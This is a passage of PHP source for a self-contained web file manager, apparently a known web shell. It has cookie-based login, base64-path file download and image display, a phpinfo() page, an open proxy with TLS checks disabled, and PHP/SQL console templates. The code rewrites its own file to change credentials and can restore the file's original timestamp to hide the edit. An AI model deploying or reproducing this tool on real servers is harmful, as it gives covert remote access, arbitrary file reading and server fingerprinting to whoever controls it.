url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return =
!empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post"
action="'.fm_url().'"
style="display:inline">
<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link,
'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value" cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) &&
isset($_POST['password'])){
if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">
'.__('Password').' <input name="password"
type="password">
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
<form action="" method="GET">
<input type="hidden" name="proxy"
value="true">
'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
<input type="submit"
value="'.__('Show').'"
class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image:
url("data:image/png;base64,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");
}
.file {
background-image:
url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
